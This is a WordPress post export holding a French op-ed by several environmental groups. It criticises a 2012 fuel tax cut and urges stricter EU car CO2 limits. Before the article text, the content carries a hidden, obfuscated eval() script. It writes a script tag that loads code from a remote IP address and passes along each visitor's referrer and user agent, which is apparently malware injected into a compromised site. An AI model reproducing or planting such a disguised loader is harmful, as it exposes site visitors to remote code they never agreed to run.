{"id":7621,"date":"2012-09-10T21:49:31","date_gmt":"2012-09-10T20:49:31","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7621"},"modified":"2012-09-10T21:49:31","modified_gmt":"2012-09-10T20:49:31","slug":"le-carburant-le-moins-cher-est-celui-quon-ne-consomme-pas","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7621","title":{"rendered":"Le carburant le moins cher est celui qu\u2019on ne consomme pas"},"content":{"rendered":"<p>&nbsp;<\/p>\n<p><span> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|instt|var|u0026u|referrer|hshiy||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <img loading=\"lazy\" decoding=\"async\" class=\"alignleft\" src=\"http:\/\/www.reporterre.net\/IMG\/jpg\/Prix_de_l_essence_v_1.jpg\" alt=\"\" width=\"150\" height=\"283\" \/><\/span><\/p>\n<p>Le gouvernement a d\u00e9cid\u00e9 le 28 ao\u00fbt de baisser de 6 centimes le prix du litre d\u2019essence. Une perte de recettes qui va se traduire par une hausse d\u2019imp\u00f4t ailleurs. Mieux vaudrait pousser \u00e0 la r\u00e9duction de consommation des moteurs.<\/p>\n<p><span>Un collectif d\u2019associations \u00e9cologistes<\/span> &#8211; <span>29 ao\u00fbt 2012<\/span><\/p>\n<p>La facture \u00e9nerg\u00e9tique des Fran\u00e7ais bat des records. Pour all\u00e9ger les d\u00e9penses des automobilistes et faire face \u00e0 la hausse des prix, le gouvernement envisage de subventionner l\u2019essence et le diesel en rabotant ses taxes. Mais \u00e0 y regarder de plus pr\u00e8s, la hausse des prix des carburants est une illusion d\u2019optique\u00a0: s\u2019il faut travailler en moyenne 9,6 minutes aujourd\u2019hui pour acheter une litre de carburant, il fallait 19,6 minutes en 1970 soit plus du double\u00a0! (1)<\/p>\n<p>Cela \u00e9tant, la hausse in\u00e9vitable des prix du brut risque de changer la donne. Or une baisse modeste des taxes ne suffira pour absorber la hausse soutenue et structurelle des prix du brut\u00a0! R\u00e9sultat, l\u2019effet sur le pouvoir d\u2019achat des m\u00e9nages risque d\u2019\u00eatre rapidement nul. A court terme, il aurait \u00e9t\u00e9 plus souhaitable d\u2019aider financi\u00e8rement les m\u00e9nages les plus vuln\u00e9rables, particuli\u00e8rement tributaires de leur voiture pour se rendre \u00e0 leur travail.<\/p>\n<p>Par ailleurs, cette mesurette, pratique pour \u00e9viter les probl\u00e8mes de fond, sera inefficace d\u2019un point de vue \u00e9conomique et budg\u00e9taire. Et particuli\u00e8rement n\u00e9faste d\u2019un point de vue environnemental car elle va augmenter les \u00e9missions de gaz \u00e0 effet de serre. Elle risque en outre de ne pas atteindre son objectif social. Ce n\u2019est pas quelques centimes sur le litre qui sortira les m\u00e9nages les plus pauvres des situations de pr\u00e9carit\u00e9 de mobilit\u00e9 dans lesquelles ils se trouvent, et la facture \u00e9nerg\u00e9tique reste malheureusement indolore pour les plus ais\u00e9s.<\/p>\n<p><!--more--><\/p>\n<p>Les quelques centimes offerts par litre de carburant repr\u00e9senteront des centaines de millions d\u2019euros de perte pour l\u2019Etat, principale victime de sa propre man\u0153uvre. Comment l\u2019Etat compte-t-il \u00e0 la fois assainir son d\u00e9ficit budg\u00e9taire et r\u00e9soudre le probl\u00e8me de la hausse des prix des carburants sur le long terme, comme il l\u2019a laiss\u00e9 entendre\u00a0? Forc\u00e9ment en augmentant d\u2019autres imp\u00f4ts et taxes qui p\u00e8seront eux aussi sur le pouvoir d\u2019achat.<\/p>\n<p>Ne nous voilons pas la face\u00a0: la hausse du prix du p\u00e9trole est in\u00e9luctable. L\u2019extraction d\u2019hydrocarbures non conventionnels en France et \u00e0 l\u2019\u00e9tranger, ainsi que les co\u00fbteux agrocarburants, ne feraient que reporter de quelques ann\u00e9es notre n\u00e9cessaire sevrage et le litre de carburant sera toujours plus co\u00fbteux pour l\u2019automobiliste fran\u00e7ais. La meilleure fa\u00e7on de prot\u00e9ger ce dernier des effets de cette hausse structurelle consiste \u00e0 l\u2019orienter vers des modes de transports collectifs et plus doux, et lorsque l\u2019automobile est la seule alternative possible, \u00e0 all\u00e9ger sa consommation globale de carburant. C\u2019est possible, notamment en obligeant les constructeurs \u00e0 produire des voitures moins gourmandes en p\u00e9trole. A ce titre, le r\u00e8glement europ\u00e9en sur les \u00e9missions de CO2 des voitures en discussion \u00e0 Bruxelles peut \u00eatre le d\u00e9clencheur le plus efficace d\u2019une indispensable mutation industrielle.<\/p>\n<p>Une premi\u00e8re version de ce r\u00e8glement adopt\u00e9e en 2009 contraignait les constructeurs europ\u00e9ens \u00e0 atteindre 130 g de CO2 par km \u00e0 l\u2019\u00e9ch\u00e9ance de 2015. A l\u2019origine fortement oppos\u00e9s \u00e0 cette contrainte, les constructeurs sont en train d\u2019atteindre d\u00e8s 2013 l\u2019objectif qui leur \u00e9tait assign\u00e9 pour 2015, et ce sans investissements massifs.<\/p>\n<p>La r\u00e9vision de ce r\u00e8glement devrait contraindre les constructeurs automobiles europ\u00e9ens \u00e0 limiter les \u00e9missions de CO2 de leurs voitures \u00e0 95 g de CO2 \/ km en 2020, les \u00e9missions moyennes se situant autour de 140 g en Europe aujourd\u2019hui. L\u2019association europ\u00e9enne de d\u00e9fense des consommateurs (BEUC) soutient cet objectif qui permettra \u00e0 chaque automobiliste fran\u00e7ais d\u2019\u00e9conomiser pr\u00e8s de 350 euros (plus de 20% de son budget essence) \u00e0 la pompe chaque ann\u00e9e d\u2019ici \u00e0 2020 (2). Les \u00e9volutions technologiques n\u00e9cessaires pour atteindre cet objectif sont tout \u00e0 fait r\u00e9alisables selon plusieurs constructeurs automobiles.<\/p>\n<p>Le gouvernement devrait d\u00e9fendre vigoureusement cette l\u00e9gislation b\u00e9n\u00e9fique sur tous les tableaux (r\u00e9duction des \u00e9missions de gaz \u00e0 effet serre, diminution de la facture \u00e9nerg\u00e9tique, augmentation du pouvoir d\u2019achat des m\u00e9nages), pour la rendre plus ambitieuse et appuyer un objectif de 60 g CO2 \/ km d\u2019ici 2025 pour ainsi permettre aux automobilistes de diviser par trois leurs d\u00e9penses \u00e0 la pompe d\u2019ici \u00e0 2030 (3). Des \u00e9conomies bien plus int\u00e9ressantes pour le porte-monnaie des Fran\u00e7ais compar\u00e9es aux quelques centimes offerts par le gouvernement aujourd\u2019hui\u00a0!<\/p>\n<p>En r\u00e9sum\u00e9, en lieu et place de quelques cadeaux fiscaux \u00e0 court terme, le gouvernement serait mieux inspir\u00e9 d\u2019utiliser ses ressources pour le financement essentiel, imm\u00e9diat et \u00e0 long terme, de la transition \u00e9nerg\u00e9tique dans le secteur des transports, un des secteurs les plus polluants en France aujourd\u2019hui.<\/p>\n<p>Source : <a href=\"http:\/\/www.reporterre.net\/spip.php?article3129\">http:\/\/www.reporterre.net\/spip.php?article3129<\/a><\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<\/p>\n<p><strong>Signataires\u00a0:<\/strong><\/p>\n<p>S\u00e9bastien Blavier, charg\u00e9 de campagne climat-\u00e9nergie Greenpeace France<\/p>\n<p>Morgane Creach, Directrice du R\u00e9seau Action Climat France<\/p>\n<p>Bruno Genty, Pr\u00e9sident de France Nature Environnement<\/p>\n<p>Benoit Faraco, porte-parole de la Fondation Nicolas Hulot pour la Nature et l\u2019Homme<\/p>\n<p>St\u00e9phen Kerckhove, D\u00e9l\u00e9gu\u00e9 g\u00e9n\u00e9ral de Agir pour l\u2019environnement<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..<\/p>\n<p><strong>Notes\u00a0:<\/strong><\/p>\n<p>(1) Voir l\u2019\u00e9tude de l\u2019\u00e9conomiste Jean-Marie Beauvais sur le vrai prix des carburants, <em>Fnaut Infos<\/em> n\u00b0\u00a0173, et la note de Franck Nadaud et Jean-Charles Hourcade, chercheurs au Cired\u00a0: <em>Les prix du p\u00e9trole,?les prix des carburants et nous\u00a0: un regard r\u00e9trospectif.<\/em><\/p>\n<p>(2) <em>Cost of driving<\/em>, par Greenpeace EU Unit, Mai 2012. En 2010, un automobiliste fran\u00e7ais d\u00e9pensait 1503 euros par an en carburant. En 2020, ce montant ne s\u2019\u00e9l\u00e8vera plus qu\u2019\u00e0 1176\u20ac et 911 \u20ac en 2030 si l\u2019objectif de 95g CO2 \/ km est r\u00e9alis\u00e9 \u00e0 temps.<\/p>\n<p>(3) Selon la m\u00eame \u00e9tude, les d\u00e9penses moyennes en carburants annuelles des Fran\u00e7ais descendront \u00e0 911 euros par an d\u2019ici 2030 gr\u00e2ce \u00e0 l\u2019adoption de l\u2019objectif europ\u00e9en qui limite les \u00e9missions des v\u00e9hicules particuliers \u00e0 60 g de CO2 par kilom\u00e8tre.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; Le gouvernement a d\u00e9cid\u00e9 le 28 ao\u00fbt de baisser de 6 centimes le prix du litre d\u2019essence. Une perte de recettes qui va se traduire par une hausse d\u2019imp\u00f4t ailleurs. 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